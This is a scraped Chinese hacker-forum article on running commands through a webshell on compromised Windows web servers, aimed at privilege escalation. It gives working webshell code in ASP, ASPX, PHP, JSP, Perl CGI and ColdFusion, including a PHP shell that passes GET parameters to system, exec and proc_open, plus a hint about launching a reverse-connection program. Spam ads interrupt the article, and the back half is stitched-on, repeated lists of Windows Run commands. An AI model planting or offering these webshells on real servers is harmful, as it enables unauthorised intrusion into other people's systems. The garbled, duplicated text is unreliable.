浅谈在WEBSHELL下如何运行命令
Author: kyo327
EMail: humour327@https://www.doczj.com/doc/ce3636766.html,
Date: 2010-06-16
Thanks: 互联网
[ 目录 ]
0×00 前言
0×01 在asp环境下运行命令的方法
0×02在aspx环境下运行命令的方法
0×03在php环境下运行命令的方法
0×04 在jsp 环境下运行命令的方法
0×05 其他脚本环境下运行命令的方法
0×06 后记
0×00 前言
随着互联网的发展和互联网用户的快速增长，越来越多的应用都转向B/S
结构，因为它是跨平台的、易操作的、方便的、迅速的，这样不论用户使用什么样的操作系统，仅仅需要安装一个浏览器就能享受在线购物、网上支付、看电影、写博客等等各种各样便捷的服务，特别是WEB2.0时代的到来更增添了互联网的活力。但是这样就会导致越来越多的WEB安全问题的出现，比如sql注入、XSS、上传漏洞、弱口令、目录遍历等，虽然早在数十年前就被发现这些漏洞产生的根本原因，可它们却始终都没有退出历史的舞台，依然是WEB应用程序主要的安全问题，其实这也不是安全厂商和企业不重视安全，也许是恶意入侵者又从他们的安全解决方案里找到新的漏洞、也许是配合其他的漏洞形成一个不是漏洞的漏洞、也许是服务器配置方面出现了问题、也许是出于对用户的信任（因为不是所有的用户都是循规蹈矩的）、再或许是由新增加应用导致的。总之还是一句话，安全是一个整体。
*************************************************************** 这里插播个广告，黑友们请无视，只是为朋友的网站能被搜索引擎收录，多加点流量。
https://www.doczj.com/doc/ce3636766.html,
返利网,淘你喜欢,淘宝返利,淘宝返现购物。
***************************************************************
在当前这个时代，靠一个远程溢出直接获得一个SHELL对于一般的黑客来说是过于奢侈了，就算真的有传说中的80端口溢出，也要看目标值不值得用。所以一般来说大多数黑客还是从WEB应用入手。不论用什么方法吧，先拿到一个WEBSHELL是最基本的，哪怕仅仅是同C类网段的一台机器，起码可以试试ARP嗅探。而拿到一个WEBSHELL后，面临最多的一个问题就是提升权限。特别是在遇到虚拟主机的时候，当你的目标在另外一个目录，你没有办法进目标网站，仅仅是靠旁注进了同一服务器的其他站点，这种情况提权跨目录成了必经之路。但是要提升权限基本上都是要执行命令的，现在的大多数WEB服务器、虚拟主机等都做了安全设置，因此本文就谈一谈在各种脚本语言环境下都有哪些方法可以执行命令。（本文仅探讨服务器为windows的情况）
0×01 在asp环境下运行命令的方法
当拿到一个asp的WEBSHELL时，想运行命令，一般是先查看一下组件支持情况。如图1
图1
可以看到，图1中显示是不支持wscript.shell和https://www.doczj.com/doc/ce3636766.html,work的。而服务器有可能只是在注册表中改了名称，却没有卸载或删除
C:\windows\System32\wshom.ocx。这样可以上传下面这段脚本试一试：MyCode1:
<%if err then%>
<% end if %>
当服务设置卸载（regsvr32 /u C:\windows\System32\wshom.ocx）或删除了wshom.ocx时，我们还可以使用shell.application组件来运行命令。在我进行测试时，发现海洋2006中所带的shell.application运行器无法在windows2003中运行命令，在win2000中倒是没问题的。
*************************************************************** 这里插播个广告，黑友们请无视，只是为朋友的网站能被搜索引擎收录，多加点流量。
https://www.doczj.com/doc/ce3636766.html,
返利网,淘你喜欢,淘宝返利,淘宝返现购物。
***************************************************************
在后来的不经意的测试中，我发现了使用shell.application在win2003中运行命令的方法。代码如下：
MyCode2:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<%
appnames = Request.Form("text1")
canshu = Request.Form("text2")
if appnames<>"" then
set kyoshell=createobject("shell.application")
kyoshell.ShellExecute appnames,canshu,"","open",0
response.write "
end if
%>
运行命令如图2：
图2：
以上是我所知道的在asp环境下执行命令的两种方法。Mycode1是利用wscript.shell组件，mycode2是利用了shell.application组件。
0×02 在aspx环境下运行命令的方法
微软的.net战略已经在全世界已经全面打响，未来肯定会完全的抛弃asp，当然从涌现出的越来越多https://www.doczj.com/doc/ce3636766.html,的web应用就可以看得出来。由于.net强大的函数库和安装运行不依赖注册表的特性，如果你所获得的webshell支持aspx，基本这台服务器不会逃脱被运行命令的厄运。不过前提是你需要找到一个可写可执行exe的目录。
现在我们谈一谈运行命令的几种方法：
第一种，很多人估计很熟悉了，就是利用Process.Start（）。代码如下：
Mycode3:
<%@ Page Language="c#" validateRequest = "false" aspcompat = "true" %>
<%@ import Namespace="System.Diagnostics" %>
执行命令如图3：
图3
第2种方法：还是靠wscript.shell组件来执行。
代码如下：
Mycode4:
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" Debug="true"%>
另外如果服务器卸载了wscript.shell，我们还可以将C:\windows\System32\wshom.ocx 转化为.net组件放入web根目录的bin目录里，然后调用wscript.shell。如图4
转换完成之后，把kyoweb.dll文件copy到web根目录的bin文件夹内，利用.net运行程序不依赖注册表的特性，我们就又可以调用wscript.shell了。
代码如下：
Mycode5
<%@ Page Language="VB" validateRequest="false" aspcompat="true" %>
后面的从开始与mycode4相同。
第3种方法：当然还是利用shell.application组件。
代码如下：
Mycode6:
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
运行结果如图5：
当然我们还可以把c:\windows\system32\shell32.dll转为.net放入bin文件夹再调用。具体转换操作与转换wshom.ocx基本一样。这里我直接出代码：
Mycode7:
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
仍然从开始后面的代码与mycode5相同。
*************************************************************** 这里插播个广告，黑友们请无视，只是为朋友的网站能被搜索引擎收录，多加点流量。
https://www.doczj.com/doc/ce3636766.html,
返利网,淘你喜欢,淘宝返利,淘宝返现购物。
***************************************************************
0×03 在php环境下运行命令的方法
Php在WEB应用中的地位越来越被看重，也有更多的程序员加入php程序员的行列。但php语言的WEB脚本环境下执行命令的方法却有很多种，所以不论是程序员或是管理员或是黑客，都有必要学习一下php执行命令的方法。
我所知道的php在windows服务器上执行命令至少有以下几种方法。
1.wscript.shell
2.shell.application
3.system();
4.exec();
5.passthru();
6.shell_exec();
7.popen();
8.proc_open();
由于这几个函数使用比较简单，我把它们组合在一起了。
代码如下：
Mycode8:
if (key($_GET)=="system") {
system($_GET['system']);
} elseif (key($_GET)=="passthru") {
passthru($_GET['passthru']);
} elseif (key($_GET)=="exec") {
$result = exec($_GET['exec']);
echo $result;
} elseif (key($_GET)=="shell_exec") {
$result=shell_exec($_GET['shell_exec']);
echo $result;
} elseif (key($_GET)=="popen") {
$pp = popen($_GET['popen'], 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
} elseif (key($_GET)=="wscript") {
$wsh = new COM('WScript.shell') or die("PHP Create COM wscript.shell failed");
$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_GET['wscript']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif(key($_GET)=="proc_open"){
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open("C:\\Docume~1\\alluse~1\\Documents\\cmd.exe", $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "".$_GET['proc_open']."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}}
?>
在浏览器地址栏这样写以测试各种方法：
http://127.0.0.1/cmdshell.php?system=dir
http://127.0.0.1/cmdshell.php?passthru=dir
http://127.0.0.1/cmdshell.php?exec=dir
http://127.0.0.1/cmdshell.php?shell_exec=dir
http://127.0.0.1/cmdshell.php?popen=dir
http://127.0.0.1/cmdshell.php?wscript=dir
http://127.0.0.1/cmdshell.php? proc_open=dir
最后还有一个shell.application方法也能执行程序。
Mycode9:
$wsh = new COM('Shell.Application') or die("Shell.Application");
$exec = $wsh->open("C:\\Docume~1\\alluse~1\\Documents\\fanlian.exe");
//没有回显，多了个fanlian进程，可以直接执行一个反向连接程序反弹回来?>
0×04 在jsp 环境下运行命令的方法
一般来说都用的是这个方法：Runtime.getRuntime().exec(command);
代码如下：
Mycode10:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
用法：http://127.0.0.1/cmd.jsp?cmd=ipconfig
0×05 其他脚本环境下运行命令的方法
1.在CGI环境下支持的编程语言较多，执行命令的方法也不止一种，但这种
WEB环境算是古董了，基本上现在用它的已经不多了。这里就以perl为例子，并且以最常用的方法system()作为例子。
代码如下：
Mycode11:
#!/usr/bin/perl
read(STDIN,$POST,$ENV{'CONTENT_LENGTH'});
($key,$command)=split(/=/,$POST);
$command=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg;
$command=~s/\+/ /;
$output=system "$command>a.txt";
$output=~s/\n/\
print "Content-Type: text/html\n\n";
print <
EOF
open(OUTPUT,"a.txt")||die "cannot open $!";
@output=
print < EOF close OUTPUT; unlink ("a.txt"); exit; 2.支持cfm执行命令的方法，专门有个标识语法是 Mycode12:
arguments="/c #cmd#" outputfile="#GetTempDirectory()#kyo.txt" timeout="1">
file="#GetTempDirectory()#kyo.txt" variable="readText"> file="#GetTempDirectory()#kyo.txt">
0×06 后记
本文把当今流行的几种WEB语言在windows平台运行命令的方法总结了一下，针对于比较流行的语言说的较详细一些，而象cgi、perl、cfm谈的少了一点，毕竟现在互联网上已经较少的存在那些古董级的平台环境了。另外也是希望起到抛砖引玉的作用，也期待安全爱好者把我没有考虑到的知识点给加进来，使这份文档逐渐完善起来。
*************************************************************** 这里插播个广告，黑友们请无视，只是为朋友的网站能被搜索引擎收录，多加点流量。
https://www.doczj.com/doc/ce3636766.html,
返利网,淘你喜欢,淘宝返利,淘宝返现购物。
***************************************************************
winver 检查Windows版本 wmimgmt.msc 打开Windows管理体系结构(wmi) wupdmgr Windows更新程序 wscript Windows脚本宿主设置 write 写字板 winmsd 系统信息 wiaacmgr 扫描仪和照相机向导 winchat xp自带局域网聊天 mem.exe 显示内存使用情况 msconfig.exe 系统配置实用程序 mplayer2 简易widnows media player mspaint 画图板 mstsc 远程桌面连接 mplayer2 媒体播放机 magnify 放大镜实用程序 mmc 打开控制台 mobsync 同步命令 dxdiag 检查directx信息 drwtsn32 系统医生 devmgmt.msc 设备管理器 dfrg.msc 磁盘碎片整理程序 diskmgmt.msc 磁盘管理实用程序 dcomcnfg 打开系统组件服务 ddeshare 打开dde共享设置 dvdplay dvd播放器 net stop messenger 停止信使服务 net start messenger 开始信使服务 notepad 打开记事本 nslookup 网络管理的工具向导 ntbackup 系统备份和还原 narrator 屏幕“讲述人” ntmsmgr.msc 移动存储管理器 ntmsoprq.msc 移动存储管理员操作请求
netstat -an （tc）命令检查接口 syncapp 创建一个公文包 sysedit 系统配置编辑器 sigverif 文件签名验证程序 sndrec32 录音机 shrpubw 创建共享文件夹 secpol.msc 本地安全策略 syskey 系统加密，一旦加密就不能解开，保护Windows xp系统的双重密码services.msc 本地服务设置 sndvol32 音量控制程序 sfc.exe 系统文件检查器 sfc /scannow windows文件保护tsshutdn 60秒倒计时关机命令 tourstart xp简介（安装完成后出现的漫游xp程序） taskmgr 任务管理器 eventvwr 事件查看器 eudcedit 造字程序 explorer 打开资源管理器 packager 对象包装程序 perfmon.msc 计算机性能监测程序 progman 程序管理器 regedit.exe 注册表 rsop.msc 组策略结果集 regedt32 注册表编辑器 rononce -p 15秒关机 regsvr32 /u *.dll 停止dll文件运行 regsvr32 /u zipfldr.dll 取消zip支持 cmd.exe cmd命令提示符 chkdsk.exe chkdsk磁盘检查 certmgr.msc 证书管理实用程序 calc 启动计算器
windors系统运行命令大全 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构(WMI) wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板 winmsd---------系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 mplayer2-------媒体播放机 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 dxdiag---------检查DirectX信息 drwtsn32------ 系统医生 devmgmt.msc--- 设备管理器 dfrg.msc-------磁盘碎片整理程序 diskmgmt.msc---磁盘管理实用程序 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 dvdplay--------DVD播放器 net stop messenger-----停止信使服务 net start messenger----开始信使服务 notepad--------打开记事本 nslookup-------网络管理的工具向导 ntbackup-------系统备份和还原 narrator-------屏幕“讲述人” ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员操作请求 netstat -an----(TC)命令检查接口 syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 sndrec32-------录音机 shrpubw--------创建共享文件夹 secpol.msc-----本地安全策略 syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码services.msc---本地服务设置 Sndvol32-------音量控制程序
CMD本机常用命令大全 cleanmgr–打开磁盘清理工具compmgmt.msc－－－计算机管理 conf—-启动netmeeting charmap–－启动字符映射表 calc—-启动计算器 chkdsk.exe–－Chkdsk磁盘检查 cmd.exe–－CMD命令提示符 certmgr.msc–证书管理实用程序 cliconfg–SQL SERVER 客户端网络实用程序Clipbrd–－剪贴板查看器 ciadv.msc–－－索引服务程序 dvdplay–－DVD播放器 diskmgmt.msc－－－磁盘管理实用程序dfrg.msc–磁盘碎片整理程序 devmgmt.msc－－－设备管理器 drwtsn32–－－系统医生 dxdiag–－－检查DirectX信息 dcomcnfg–打开系统组件服务 ddeshare–打开DDE共享设置 explorer–打开资源管理器
eventvwr–事件查看器 eudcedit–造字程序 fsmgmt.msc–－共享文件夹管理器 gpedit.msc–－组策略 iexpress–***工具，系统自带 logoff–注销命令 lusrmgr.msc–本机用户和组 mstsc–远程桌面连接 Msconfig.exe－－－系统配置实用程序 mem.exe–－显示内存使用情况（如果直接运行无效，可以先运行cmd，在命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt，里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。）mplayer2–简易widnows media player mspaint–－画图板 mplayer2–媒体播放机 magnify–－放大镜实用程序 mmc—-－打开控制台 mobsync–－同步命令 notepad–－打开记事本 net start messenger–开始信使服务 net stop messenger–－停止信使服务 net stop messenger–－停止信使服务
cmd是command的缩写.即命令行。 虽然随着计算机产业的发展，Windows 操作系统的应用越来越广泛，DOS 面临着被淘汰的命 运，但是因为它运行安全、稳定，有的用户还在使用，所以一般Windows 的各种版本都与其兼容，用户可以在Windows 系统下运行DOS，中文版Windows XP 中的命令提示符进一步提高了与DOS 下操作命令的兼容性，用户可以在命令提示符直接输入中文调用文件。 在9x系统下输入command就可以打开命令行.而在NT系统上可以输入cmd来打开，在 windows2003后被cmd替代，利用CMD命令查询系统的信息或者是判断网络的好坏。 运行操作 CMD命令：开始－>运行－>键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CMD命令锦集 1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器，是一个监测网络中DNS 服务器是否能正确实现域名解析的命令行工具。它在Windows NT/2000/XP 中均可使用, 但在Windows 98 中却没有集成这一个工具。 4. explorer-------打开资源管理器 5. logoff---------注销命令 6. shutdown-------60秒倒计时关机命令 7. lusrmgr.msc----本机用户和组 8. services.msc---本地服务设置 9. oobe/msoobe /a----检查XP是否激活 10. notepad--------打开记事本 11. cleanmgr-------垃圾整理 12. net start messenger----开始信使服务 13. compmgmt.msc---计算机管理 14. net stop messenger-----停止信使服务 15. conf-----------启动netmeeting 16. dvdplay--------DVD播放器 17. charmap--------启动字符映射表 18. diskmgmt.msc---磁盘管理实用程序 19. calc-----------启动计算器 20. dfrg.msc-------磁盘碎片整理程序 21. chkdsk.exe-----Chkdsk磁盘检查 22. devmgmt.msc--- 设备管理器 23. regsvr32 /u *.dll----停止dll文件运行 24. drwtsn32------ 系统医生 25. rononce -p----15秒关机 26. dxdiag---------检查DirectX信息 27. regedt32-------注册表编辑器 28. Msconfig.exe---系统配置实用程序 29. rsop.msc-------组策略结果集 30. mem.exe--------显示内存使用情况
1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器 4. explorer-------打开资源管理器 5. logoff---------注销命令 6. tsshutdn-------60秒倒计时关机命令 7. lusrmgr.msc----本机用户和组 8. services.msc---本地服务设置 9. oobe/msoobe /a----检查XP是否激活 10. notepad--------打开记事本 11. cleanmgr-------垃圾整理 12. net start messenger----开始信使服务 13. compmgmt.msc---计算机管理 14. net stop messenger-----停止信使服务 15. conf-----------启动netmeeting 16. dvdplay--------DVD播放器 17. charmap--------启动字符映射表 18. diskmgmt.msc---磁盘管理实用程序 19. calc-----------启动计算器 20. dfrg.msc-------磁盘碎片整理程序 21. chkdsk.exe-----Chkdsk磁盘检查 22. devmgmt.msc--- 设备管理器 23. regsvr32 /u *.dll----停止dll文件运行 24. drwtsn32------ 系统医生 25. rononce -p ----15秒关机 26. dxdiag---------检查DirectX信息 27. regedt32-------注册表编辑器 28. Msconfig.exe---系统配置实用程序 29. rsop.msc-------组策略结果集 30. mem.exe--------显示内存使用情况 31. regedit.exe----注册表 32. winchat--------XP自带局域网聊天 33. progman--------程序管理器 34. winmsd---------系统信息 35. perfmon.msc----计算机性能监测程序 36. winver---------检查Windows版本 37. sfc /scannow-----扫描错误并复原 38. taskmgr-----任务管理器（2000／xp／2003 40. wmimgmt.msc----打开windows管理体系结构(WMI) 41. wupdmgr--------windows更新程序 42. wscript--------windows脚本宿主设置 43. write----------写字板 44. winmsd---------系统信息 45. wiaacmgr-------扫描仪和照相机向导
开始→运行（cmd）命令大全 gpedit.msc-----组策略sndrec32-------录音机Nslookup-------IP地址侦测器explorer-------打开资源管理器 logoff---------注销命令tsshutdn-------60秒倒计时关机命令 lusrmgr.msc----本机用户和组services.msc---本地服务设置 oobe/msoobe /a----检查XP是否激活notepad--------打开记事本cleanmgr-------垃圾整理net start messenger----开始信使服务 compmgmt.msc---计算机管理net stop messenger-----停止信使服务 conf-----------启动netmeeting dvdplay--------DVD播放器charmap--------启动字符映射表diskmgmt.msc---磁盘管理实用程序 calc-----------启动计算器dfrg.msc-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行drwtsn32------ 系统医生 rononce -p ----15秒关机dxdiag---------检查DirectX 信息 regedt32-------注册表编辑器Msconfig.exe---系统配置实用程序 rsop.msc-------组策略结果集mem.exe--------显示内存使用情况 regedit.exe----注册表winchat--------XP自带局域网聊天 progman--------程序管理器winmsd---------系统信息perfmon.msc----计算机性能监测程序winver---------检查Windows版本 sfc /scannow-----扫描错误并复原winipcfg-------IP配置 taskmgr-----任务管理器（2000／xp／2003）command--------cmd fsmgmt.msc 共享文件夹netstat -an----查看端口osk 屏幕键盘install.asp----修改注册网页 eventvwr.msc 时间查看器 secpol.msc 本地安全设置 services.msc 服务 2K accwiz.exe > 辅助工具向导 acsetups.exe > acs setup dcom server executable
开始-运行-命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器 4. explorer-------打开资源管理器 5. logoff---------注销命令 6. tsshutdn-------60秒倒计时关机命令 7. lusrmgr.msc----本机用户和组 8. services.msc---本地服务设置 9. oobe/msoobe /a----检查XP是否激活 10. notepad--------打开记事本 11. cleanmgr-------垃圾整理 12. net start messenger----开始信使服务 13. compmgmt.msc---计算机管理 14. net stop messenger-----停止信使服务 15. conf-----------启动netmeeting 16. dvdplay--------DVD播放器 17. charmap--------启动字符映射表 18. diskmgmt.msc---磁盘管理实用程序 19. calc-----------启动计算器 20. dfrg.msc-------磁盘碎片整理程序 21. chkdsk.exe-----Chkdsk磁盘检查 22. devmgmt.msc--- 设备管理器 23. regsvr32 /u *.dll----停止dll文件运行 24. drwtsn32------ 系统医生 25. rononce -p ----15秒关机 26. dxdiag---------检查DirectX信息 27. regedt32-------注册表编辑器 28. Msconfig.exe---系统配置实用程序 29. rsop.msc-------组策略结果集 30. mem.exe--------显示内存使用情况 31. regedit.exe----注册表 32. winchat--------XP自带局域网聊天 33. progman--------程序管理器 34. winmsd---------系统信息 35. perfmon.msc----计算机性能监测程序 36. winver---------检查Windows版本 37. sfc /scannow-----扫描错误并复原 38. taskmgr-----任务管理器（2000／xp／2003 39. winver---------检查Windows版本 40. wmimgmt.msc----打开windows管理体系结构(WMI) 41. wupdmgr--------windows更新程序 42. wscript--------windows脚本宿主设置 43. write----------写字板
开始运行代码大全 按“开始”－“运行”或(WIN+R)，在『运行』窗口中输入：（按英文字符顺序排列） %temp%---------打开临时文件夹 .--------------C:\DocumentsandSettings\用户名所在文件夹 ..-------------C:\DocumentsandSettings ...------------我的电脑 \--------------C盘 appwize.cpl----添加、删除程序 access.cpl-----辅助功能选项 accwiz---------辅助功能向导 calc-----------启动计算器 certmgr.msc----证书管理实用程序 charmap--------启动字符映射表 chkdsk.exe-----Chkdsk磁盘检查 ciadv.msc------索引服务程序 cintsetp-------仓颉拼音输入法 cleanmgr-------垃圾整理 cliconfg-------SQLSERVER客户端网络实用程序 clipbrd--------剪贴板查看器 cmd------------CMD命令提示符 command--------CMD命令提示符 compmgmt.msc---计算机管理 conf-----------启动netmeeting control--------打开控制面板 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 desk.cpl-------显示属性 devmgmt.msc----设备管理器
dfrg.msc-------磁盘碎片整理程序diskmgmt.msc---磁盘管理实用程序 dxdiag---------检查DirectX信息 drwtsn32-------系统医生 dvdplay--------DVD播放器 eudcedit-------造字程序 eventvwr-------事件查看器 explorer-------打开资源管理器 firewall.cpl---WINDOWS防火墙 fsmgmt.msc-----共享文件夹管理器 gpedit.msc-----组策略 hdwwiz.cpl-----添加硬件 iexpress-------木马捆绑工具，系统自带inetcpl.cpl----INTETNET选项 intl.cpl-------区域和语言选项（输入法选项）irprops.cpl----无线链接 joy.cpl--------游戏控制器 logoff---------注销命令 lusrmgr.msc----本机用户和组 magnify--------放大镜实用程序 main.cpl-------鼠标 mem.exe--------显示内存使用情况 migwiz---------文件转移向导 mlcfg32.cpl----邮件 mmc------------打开控制台 mmsys.cpl------声音和音频设备 mobsync--------同步命令 mplayer2-------简易widnowsmediaplayer msconfig.exe---系统配置实用程序 mspaint--------画图板
外部命令其实就是一些可执行的文件（.exe文件）,程序文件（.com 文件），和批处理文件（.bat），也包括微软后来更新windows installer 后而以.msi命名的文件 常见的运行命令有 winver检查Windows版本 dxdiag检查DirectX信息 mem.exe显示内存使用情况 Sndvol32音量控制程序 sfc.exe系统文件检查器 gpedit.msc 组策略 regedit.exe 注册表 Msconfig.exe 系统配置实用程序 cmd.exe CMD命令提示符 chkdsk.exe Chkdsk磁盘检查 mem.exe显示内存使用情况 gpedit.msc 组策略 regedit.exe 注册表 Msconfig.exe系统配置实用程序 cmd.exe CMD命令提示符 services.msc 服务 lusrmgr.msc 本地账户管理 drwtsn32 系统医生 cleanmgr 整理 iexpress 木马捆绑工具，系统自带 mmc 控制台
dcpromo 活动目录安装 ntbackup 系统备份和还原 rononce -p 15秒关机 taskmgr任务管理器 conf 启动netmeeting devmgmt.msc 设备管理器 diskmgmt.msc NT的磁盘管理器 compmgmt.msc 计算机管理 winchat 局域网聊天 dvdplay DVD播放器 mplayer2 简易widnows media player mspaint 画图板 nslookup 网络管理的工具 syskey 系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 wupdmgr WIDNOWS UPDATE Clipbrd 剪贴板查看器 Odbcad32 ODBC数据源管理器 Nslookup IP地址侦测器 编辑本段开始运行命令集锦 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构(WMI) wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置
开始→运行→输入的命令集锦 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构(WMI) wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板 winmsd---------系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 mplayer2-------媒体播放机 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 dxdiag---------检查DirectX信息 drwtsn32------ 系统医生 devmgmt.msc--- 设备管理器 dfrg.msc-------磁盘碎片整理程序 diskmgmt.msc---磁盘管理实用程序 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 dvdplay--------DVD播放器 net stop messenger-----停止信使服务 net start messenger----开始信使服务 notepad--------打开记事本 nslookup-------网络管理的工具向导 ntbackup-------系统备份和还原 narrator-------屏幕“讲述人” ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员操作请求 netstat -an----(TC)命令检查接口 syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 sndrec32-------录音机 shrpubw--------创建共享文件夹 secpol.msc-----本地安全策略 syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 services.msc---本地服务设置Sndvol32-------音量控制程序 sfc.exe--------系统文件检查器 sfc /scannow---windows文件保护 tsshutdn-------60秒倒计时关机命令 tourstart------xp简介（安装完成后出现的漫游xp程序）taskmgr--------任务管理器 eventvwr-------事件查看器 eudcedit-------造字程序 explorer-------打开资源管理器 packager-------对象包装程序 perfmon.msc----计算机性能监测程序 progman--------程序管理器 regedit.exe----注册表 rsop.msc-------组策略结果集 regedt32-------注册表编辑器 rononce -p ----15秒关机 regsvr32 /u *.dll----停止dll文件运行 regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查 certmgr.msc----证书管理实用程序 calc-----------启动计算器 charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序 Clipbrd--------剪贴板查看器 conf-----------启动netmeeting compmgmt.msc---计算机管理 cleanmgr-------垃圾整理 ciadv.msc------索引服务程序 osk------------打开屏幕键盘 odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活 lusrmgr.msc----本机用户和组 logoff---------注销命令 iexpress-------木马捆绑工具，系统自带 Nslookup-------IP地址侦测器 fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器 sndrec32-------录音机 Nslookup-------IP地址侦测器 explorer-------打开资源管理器 logoff---------注销命令 tsshutdn-------60秒倒计时关机命令 lusrmgr.msc----本机用户和组
开始→运行→输入命令集锦Win+R运行 gpedit.msc－－－－－--------------------组策略 explorer－－－－－－－------------------打开资源管理器 logoff－－－－－－－－------------------注销命令 tsshutdn－－－－－－－------------------60秒倒计时关机命令services.msc－－－----------------------本地服务设置 oobe/msoobe /a－－－－------------------检查xp是否激活 notepad－－－－－－－-------------------打开记事本 cleanmgr－－－－－－－------------------垃圾整理 net start messenger－－－－-------------开始信使服务 net stop messenger－－－－－------------停止信使服务 conf－－－－－－－－－－－--------------启动 charmap－－－－－－－－-----------------启动字符映射表diskmgmt.msc－－－----------------------磁盘管理实用程序 calc－－－－－－－－－－－--------------启动计算器 dfrg.msc－－－－－－－------------------磁盘碎片整理程序chkdsk.exe－－－－－--------------------chkdsk磁盘检查devmgmt.msc－－－----------------------设备管理器 regsvr32 /u *.dll－－－－---------------停止dll文件运行 drwtsn32－－－－－－-------------------系统医生 rononce －p －－－－--------------------15秒关机 dxdiag－－－－－－－－－----------------检查directx信息 regedt32－－－－－－－------------------注册表编辑器 msconfig.exe－－－----------------------系统配置实用程序 rsop.msc－－－－－－－------------------组策略结果集 mem.exe－－－－－－－－-----------------显示内存使用情况regedit.exe－－－－---------------------注册表（16位那个） winchat－－－－－－－－-----------------xp自带局域网聊天progman－－－－－－－－-----------------程序管理器 winmsd－－－－－－－－－----------------系统信息 perfmon.msc－－－－---------------------计算机性能监测程序 winver－－－－－－－－－----------------检查windows版本 sfc /scannow－－－－－------------------扫描错误并复原wmimgmt.msc－－－－---------------------打开windows管理体系结构wupdmgr－－－－－－－－-----------------windows更新程序 w脚本－－－－－－－－-------------------windows脚本宿主设置write－－－－－－－－－－---------------写字板 wiaacmgr－－－－－－－------------------扫描仪和照相机向导mplayer2－－－－－－－------------------简易 mspaint－－－－－－－－-----------------画图板 mstsc－－－－－－－－－－---------------远程桌面连接
XP.CMD命令大全 有关某个命令的详细信息，请键入 HELP 命令名 ASSOC 显示或修改文件扩展名关联 。 AT 计划在计算机上运行的命令和程序。ATTRIB 显示或更改文件属性。 BREAK 设置或清除扩展式 CTRL+C 检查。CACLS 显示或修改文件的访问控制列表(ACLs)。CALL 从另一个批处理程序调用这一个。 CD 显示当前目录的名称或将其更改。 CHCP 显示或设置活动代码页数。 CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。 CHKNTFS 显示或修改启动时间磁盘检查。 CLS 清除屏幕。 CMD 打开另一个 Windows 命令解释程序窗口。COLOR 设置默认控制台前景和背景颜色。COMP 比较两个或两套文件的内容。COMPACT 显示或更改 NTFS 分区上文件的压缩。CONVERT 将 FAT 卷转换成 NTFS。您不能转换当前驱动器。 COPY 将至少一个文件复制到另一个位置。DATE 显示或设置日期。
